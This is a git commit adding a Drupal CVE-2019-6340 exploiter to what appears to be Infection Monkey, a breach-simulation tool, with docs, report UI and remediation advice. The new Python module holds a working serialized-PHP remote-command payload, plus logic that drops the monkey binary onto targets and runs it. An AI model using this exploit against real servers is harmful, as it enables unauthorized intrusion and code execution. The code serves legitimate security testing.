commit
41c2555550
|
@ -0,0 +1,35 @@
|
|||
---
|
||||
title: "Drupal"
|
||||
date: 2020-09-01T08:42:46+03:00
|
||||
draft: false
|
||||
tags: ["exploit", "linux", "windows"]
|
||||
---
|
||||
|
||||
The Drupal exploiter exploits [CVE-2019-6340](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340)
|
||||
on a vulnerable Drupal server.
|
||||
|
||||
### Description
|
||||
|
||||
Some field types do not properly sanitize data from non-form sources in certain versions
|
||||
of Drupal server.
|
||||
|
||||
This can lead to arbitrary PHP code execution in some cases.
|
||||
|
||||
|
||||
### Affected Versions
|
||||
|
||||
* Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10.
|
||||
|
||||
One of the following conditions must hold:
|
||||
* The site has the Drupal 8 core RESTful Web Services (rest) module enabled and allows PATCH
|
||||
or POST requests; OR
|
||||
* The site has another web services module enabled, like JSON:API in
|
||||
Drupal 8, or Services or RESTful Web Services in Drupal 7.
|
||||
|
||||
|
||||
### Notes
|
||||
|
||||
* The Infection Monkey exploiter implementation is based on an open-source
|
||||
[Python implementation](https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a)
|
||||
of the exploit by @leonjza.
|
||||
* For the full attack to work, more than one vulnerable URL is required.
|
|
@ -1,3 +1,4 @@
|
|||
import re
|
||||
from urllib.parse import urlparse
|
||||
|
||||
|
||||
|
@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str:
|
|||
"""
|
||||
url = urlparse("http://" + network_location)
|
||||
return str(url.hostname)
|
||||
|
||||
|
||||
def remove_port(url):
|
||||
parsed = urlparse(url)
|
||||
with_port = f'{parsed.scheme}://{parsed.netloc}'
|
||||
without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port)
|
||||
return without_port
|
||||
|
|
|
@ -1,12 +1,18 @@
|
|||
from unittest import TestCase
|
||||
|
||||
from common.network.network_utils import get_host_from_network_location
|
||||
from common.network.network_utils import (get_host_from_network_location,
|
||||
remove_port)
|
||||
|
||||
|
||||
class TestNetworkUtils(TestCase):
|
||||
def test_remove_port_from_ip_string(self):
|
||||
def test_get_host_from_network_location(self):
|
||||
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
|
||||
assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1"
|
||||
assert get_host_from_network_location("127.0.0.1") == "127.0.0.1"
|
||||
assert get_host_from_network_location("www.google.com:8080") == "www.google.com"
|
||||
assert get_host_from_network_location("user:password@host:8080") == "host"
|
||||
|
||||
def test_remove_port_from_url(self):
|
||||
assert remove_port('https://google.com:80') == 'https://google.com'
|
||||
assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8'
|
||||
assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com'
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
import logging
|
||||
from abc import abstractmethod
|
||||
from datetime import datetime
|
||||
|
||||
|
@ -9,6 +10,9 @@ from infection_monkey.utils.plugins.plugin import Plugin
|
|||
__author__ = 'itamar'
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HostExploiter(Plugin):
|
||||
@staticmethod
|
||||
def should_run(class_name):
|
||||
|
@ -66,8 +70,11 @@ class HostExploiter(Plugin):
|
|||
|
||||
def exploit_host(self):
|
||||
self.pre_exploit()
|
||||
result = None
|
||||
try:
|
||||
result = self._exploit_host()
|
||||
except Exception as _:
|
||||
logger.error(f'Exception in exploit_host', exc_info=True)
|
||||
finally:
|
||||
self.post_exploit()
|
||||
return result
|
||||
|
|
|
@ -0,0 +1,192 @@
|
|||
"""
|
||||
Remote Code Execution on Drupal server - CVE-2019-6340
|
||||
Implementation is based on:
|
||||
https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a.
|
||||
"""
|
||||
|
||||
import logging
|
||||
from urllib.parse import urljoin
|
||||
|
||||
import requests
|
||||
|
||||
from common.network.network_utils import remove_port
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import ID_STRING
|
||||
|
||||
__author__ = 'Ophir Harpaz'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DrupalExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Drupal Server'
|
||||
DRUPAL_PORTS = [[80, False], [443, True]]
|
||||
|
||||
def __init__(self, host):
|
||||
super(DrupalExploiter, self).__init__(host)
|
||||
|
||||
def get_exploit_config(self):
|
||||
"""
|
||||
We override this function because the exploits requires a special extension in the URL, "node",
|
||||
e.g. an exploited URL would be http://172.1.2.3:<port>/node/3.
|
||||
:return: the Drupal exploit config
|
||||
"""
|
||||
exploit_config = super(DrupalExploiter, self).get_exploit_config()
|
||||
exploit_config['url_extensions'] = ['node/', # In Linux, no path is added
|
||||
'drupal/node/'] # However, Bitnami installations are under /drupal
|
||||
return exploit_config
|
||||
|
||||
def add_vulnerable_urls(self, potential_urls, stop_checking=False):
|
||||
"""
|
||||
We need a specific implementation of this function in order to add the URLs *with the node IDs*.
|
||||
We therefore check, for every potential URL, all possible node IDs.
|
||||
:param potential_urls: Potentially-vulnerable URLs
|
||||
:param stop_checking: Stop if one vulnerable URL is found
|
||||
:return: None (in-place addition)
|
||||
"""
|
||||
for url in potential_urls:
|
||||
try:
|
||||
node_ids = find_exploitbale_article_ids(url)
|
||||
if node_ids is None:
|
||||
LOG.info('Could not find a Drupal node to attack')
|
||||
continue
|
||||
for node_id in node_ids:
|
||||
node_url = urljoin(url, str(node_id))
|
||||
if self.check_if_exploitable(node_url):
|
||||
self.add_vuln_url(url) # This is for report. Should be refactored in the future
|
||||
self.vulnerable_urls.append(node_url)
|
||||
if stop_checking:
|
||||
break
|
||||
except Exception as e: # We still don't know which errors to expect
|
||||
LOG.error(f'url {url} failed in exploitability check: {e}')
|
||||
if not self.vulnerable_urls:
|
||||
LOG.info("No vulnerable urls found")
|
||||
|
||||
def check_if_exploitable(self, url):
|
||||
"""
|
||||
Check if a certain URL is exploitable.
|
||||
We use this specific implementation (and not simply run self.exploit) because this function does not "waste"
|
||||
a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic.
|
||||
:param url: Drupal's URL and port
|
||||
:return: Vulnerable URL if exploitable, otherwise False
|
||||
"""
|
||||
payload = build_exploitability_check_payload(url)
|
||||
|
||||
response = requests.get(f'{url}?_format=hal_json',
|
||||
json=payload,
|
||||
headers={"Content-Type": "application/hal+json"},
|
||||
verify=False)
|
||||
|
||||
if is_response_cached(response):
|
||||
LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring')
|
||||
return False
|
||||
|
||||
return 'INVALID_VALUE does not correspond to an entity on this site' in response.text
|
||||
|
||||
def exploit(self, url, command):
|
||||
# pad a easy search replace output:
|
||||
cmd = f'echo {ID_STRING} && {command}'
|
||||
base = remove_port(url)
|
||||
payload = build_cmd_execution_payload(base, cmd)
|
||||
|
||||
r = requests.get(f'{url}?_format=hal_json',
|
||||
json=payload,
|
||||
headers={"Content-Type": "application/hal+json"},
|
||||
verify=False)
|
||||
|
||||
if is_response_cached(r):
|
||||
LOG.info(f'Exploiting {url} returned cache HIT, may have failed')
|
||||
|
||||
if ID_STRING not in r.text:
|
||||
LOG.warning('Command execution _may_ have failed')
|
||||
|
||||
result = r.text.split(ID_STRING)[-1]
|
||||
return result
|
||||
|
||||
def get_target_url(self):
|
||||
"""
|
||||
We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL.
|
||||
Reusing the same URL eliminates its exploitability because of caching reasons :)
|
||||
:return: vulnerable URL to exploit
|
||||
"""
|
||||
return self.vulnerable_urls.pop()
|
||||
|
||||
def are_vulnerable_urls_sufficient(self):
|
||||
"""
|
||||
For the Drupal exploit, 5 distinct URLs are needed to perform the full attack.
|
||||
:return: Whether the list of vulnerable URLs has at least 5 elements.
|
||||
"""
|
||||
# We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it.
|
||||
num_urls_needed_for_full_exploit = 5
|
||||
num_available_urls = len(self.vulnerable_urls)
|
||||
result = num_available_urls >= num_urls_needed_for_full_exploit
|
||||
if not result:
|
||||
LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server '
|
||||
f'but only {num_available_urls} found')
|
||||
return result
|
||||
|
||||
|
||||
def is_response_cached(r: requests.Response) -> bool:
|
||||
""" Check if a response had the cache header. """
|
||||
return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT'
|
||||
|
||||
|
||||
def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set:
|
||||
""" Find target articles that do not 404 and are not cached """
|
||||
articles = set()
|
||||
while lower < upper:
|
||||
node_url = urljoin(base_url, str(lower))
|
||||
response = requests.get(node_url, verify=False)
|
||||
if response.status_code == 200:
|
||||
if is_response_cached(response):
|
||||
LOG.info(f'Found a cached article at: {node_url}, skipping')
|
||||
else:
|
||||
articles.add(lower)
|
||||
lower += 1
|
||||
return articles
|
||||
|
||||
|
||||
def build_exploitability_check_payload(url):
|
||||
payload = {
|
||||
"_links": {
|
||||
"type": {
|
||||
"href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}"
|
||||
}
|
||||
},
|
||||
"type": {
|
||||
"target_id": "article"
|
||||
},
|
||||
"title": {
|
||||
"value": "My Article"
|
||||
},
|
||||
"body": {
|
||||
"value": ""
|
||||
}
|
||||
}
|
||||
return payload
|
||||
|
||||
|
||||
def build_cmd_execution_payload(base, cmd):
|
||||
payload = {
|
||||
"link": [
|
||||
{
|
||||
"value": "link",
|
||||
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
|
||||
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
|
||||
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
|
||||
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
|
||||
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
|
||||
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
|
||||
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
|
||||
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
|
||||
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
|
||||
}
|
||||
],
|
||||
"_links": {
|
||||
"type": {
|
||||
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
|
||||
}
|
||||
}
|
||||
}
|
||||
return payload
|
|
@ -89,13 +89,13 @@ class WebRCE(HostExploiter):
|
|||
if not ports:
|
||||
return False
|
||||
# Get urls to try to exploit
|
||||
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
||||
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
|
||||
potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
||||
self.add_vulnerable_urls(potential_urls, exploit_config['stop_checking_urls'])
|
||||
|
||||
if not self.vulnerable_urls:
|
||||
if not self.are_vulnerable_urls_sufficient():
|
||||
return False
|
||||
|
||||
self.target_url = self.vulnerable_urls[0]
|
||||
self.target_url = self.get_target_url()
|
||||
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
|
||||
|
||||
# Skip if monkey already exists and this option is given
|
||||
|
@ -104,21 +104,21 @@ class WebRCE(HostExploiter):
|
|||
return True
|
||||
|
||||
# Check for targets architecture (if it's 32 or 64 bit)
|
||||
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
|
||||
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.get_target_url()):
|
||||
return False
|
||||
|
||||
# Upload the right monkey to target
|
||||
data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
|
||||
data = self.upload_monkey(self.get_target_url(), exploit_config['upload_commands'])
|
||||
|
||||
if data is False:
|
||||
return False
|
||||
|
||||
# Change permissions to transform monkey into executable file
|
||||
if self.change_permissions(self.target_url, data['path']) is False:
|
||||
if self.change_permissions(self.get_target_url(), data['path']) is False:
|
||||
return False
|
||||
|
||||
# Execute remote monkey
|
||||
if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
|
||||
if self.execute_remote_monkey(self.get_target_url(), data['path'], exploit_config['dropper']) is False:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
@ -193,6 +193,7 @@ class WebRCE(HostExploiter):
|
|||
|
||||
def build_potential_urls(self, ports, extensions=None):
|
||||
"""
|
||||
Build all possibly-vulnerable URLs on a specific host, based on the relevant ports and extensions.
|
||||
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
|
||||
Eg. ports: [[80, False], [443, True]]
|
||||
:param extensions: What subdirectories to scan. www.domain.com[/extension]
|
||||
|
@ -350,7 +351,6 @@ class WebRCE(HostExploiter):
|
|||
if not commands:
|
||||
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
||||
command = self.get_command(paths['dest_path'], http_path, commands)
|
||||
|
||||
resp = self.exploit(url, command)
|
||||
self.add_executed_cmd(command)
|
||||
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
||||
|
@ -508,3 +508,21 @@ class WebRCE(HostExploiter):
|
|||
|
||||
def set_vulnerable_port_from_url(self, url):
|
||||
self.vulnerable_port = HTTPTools.get_port_from_url(url)
|
||||
|
||||
def get_target_url(self):
|
||||
"""
|
||||
This method allows "configuring" the way in which a vulnerable URL is picked.
|
||||
If the same URL should be used - always return the first.
|
||||
Otherwise - implement your own (e.g. Drupal must use a new URI each time).
|
||||
:return: a vulnerable URL
|
||||
"""
|
||||
return self.vulnerable_urls[0]
|
||||
|
||||
def are_vulnerable_urls_sufficient(self):
|
||||
"""
|
||||
Determine whether the number of vulnerable URLs is sufficient in order to perform the full attack.
|
||||
Often, a single URL will suffice. However, in some cases (e.g. the Drupal exploit) a vulnerable URL is for
|
||||
single use, thus we need a couple of them.
|
||||
:return: Whether or not a full attack can be performed using the available vulnerable URLs.
|
||||
"""
|
||||
return len(self.vulnerable_urls) > 0
|
||||
|
|
|
@ -337,8 +337,8 @@ class InfectionMonkey(object):
|
|||
:return: True if successfully exploited, False otherwise
|
||||
"""
|
||||
if not exploiter.is_os_supported():
|
||||
LOG.info("Skipping exploiter %s host:%r, os is not supported",
|
||||
exploiter.__class__.__name__, machine)
|
||||
LOG.info("Skipping exploiter %s host:%r, os %s is not supported",
|
||||
exploiter.__class__.__name__, machine, machine.os)
|
||||
return False
|
||||
|
||||
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
|
||||
|
|
|
@ -26,7 +26,8 @@ BASIC = {
|
|||
"WebLogicExploiter",
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter",
|
||||
"MSSQLExploiter"
|
||||
"MSSQLExploiter",
|
||||
"DrupalExploiter"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
|
|
@ -125,6 +125,16 @@ EXPLOITER_CLASSES = {
|
|||
"info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. "
|
||||
"Logic based on Metasploit module.",
|
||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/"
|
||||
},
|
||||
{
|
||||
"type": "string",
|
||||
"enum": [
|
||||
"DrupalExploiter"
|
||||
],
|
||||
"title": "Drupal Exploiter",
|
||||
"info": "Exploits a remote command execution vulnerability in a Drupal server,"
|
||||
"for which certain modules (such as RESTful Web Services) are enabled.",
|
||||
"link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
@ -43,7 +43,8 @@ class ReportService:
|
|||
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
||||
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
||||
'MSSQLExploiter': 'MSSQL Exploiter',
|
||||
'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
|
||||
'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
|
||||
'DrupalExploiter': 'Drupal Server Exploiter'
|
||||
}
|
||||
|
||||
class ISSUES_DICT(Enum):
|
||||
|
@ -61,6 +62,7 @@ class ReportService:
|
|||
PTH_CRIT_SERVICES_ACCESS = 11
|
||||
MSSQL = 12
|
||||
VSFTPD = 13
|
||||
DRUPAL = 14
|
||||
|
||||
class WARNINGS_DICT(Enum):
|
||||
CROSS_SEGMENT = 0
|
||||
|
@ -355,6 +357,12 @@ class ReportService:
|
|||
processed_exploit['type'] = 'mssql'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_drupal_exploit(exploit):
|
||||
processed_exploit = ReportService.process_general_exploit(exploit)
|
||||
processed_exploit['type'] = 'drupal'
|
||||
return processed_exploit
|
||||
|
||||
@staticmethod
|
||||
def process_exploit(exploit):
|
||||
exploiter_type = exploit['data']['exploiter']
|
||||
|
@ -370,7 +378,8 @@ class ReportService:
|
|||
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
||||
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
||||
'MSSQLExploiter': ReportService.process_mssql_exploit,
|
||||
'VSFTPDExploiter': ReportService.process_vsftpd_exploit
|
||||
'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
|
||||
'DrupalExploiter': ReportService.process_drupal_exploit
|
||||
}
|
||||
|
||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||
|
@ -666,6 +675,8 @@ class ReportService:
|
|||
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
|
||||
elif issue['type'] == 'hadoop':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
||||
elif issue['type'] == 'drupal':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
|
||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||
issue['username'] in config_users or issue['type'] == 'ssh':
|
||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||
|
|
|
@ -784,6 +784,23 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
generateDrupalIssue(issue) {
|
||||
return (
|
||||
<>
|
||||
Upgrade Drupal server to versions 8.5.11, 8.6.10, or later.
|
||||
<CollapsibleWellComponent>
|
||||
Drupal server at <span className="badge badge-primary">{issue.machine}</span> (<span
|
||||
className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
|
||||
className="badge badge-danger">remote command execution</span> attack.
|
||||
<br/>
|
||||
The attack was made possible because the server is using an old version of Drupal, for which REST API is
|
||||
enabled. For possible workarounds, fixes and more info read
|
||||
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6340">here</a>.
|
||||
</CollapsibleWellComponent>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
generateWebLogicIssue(issue) {
|
||||
return (
|
||||
<>
|
||||
|
@ -905,6 +922,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
case 'mssql':
|
||||
issueData = this.generateMSSQLIssue(issue);
|
||||
break;
|
||||
case 'drupal':
|
||||
issueData = this.generateDrupalIssue(issue);
|
||||
break;
|
||||
}
|
||||
return <li key={JSON.stringify(issue)}>{issueData}</li>;
|
||||
};
|
||||
|
|
Loading…
Reference in New Issue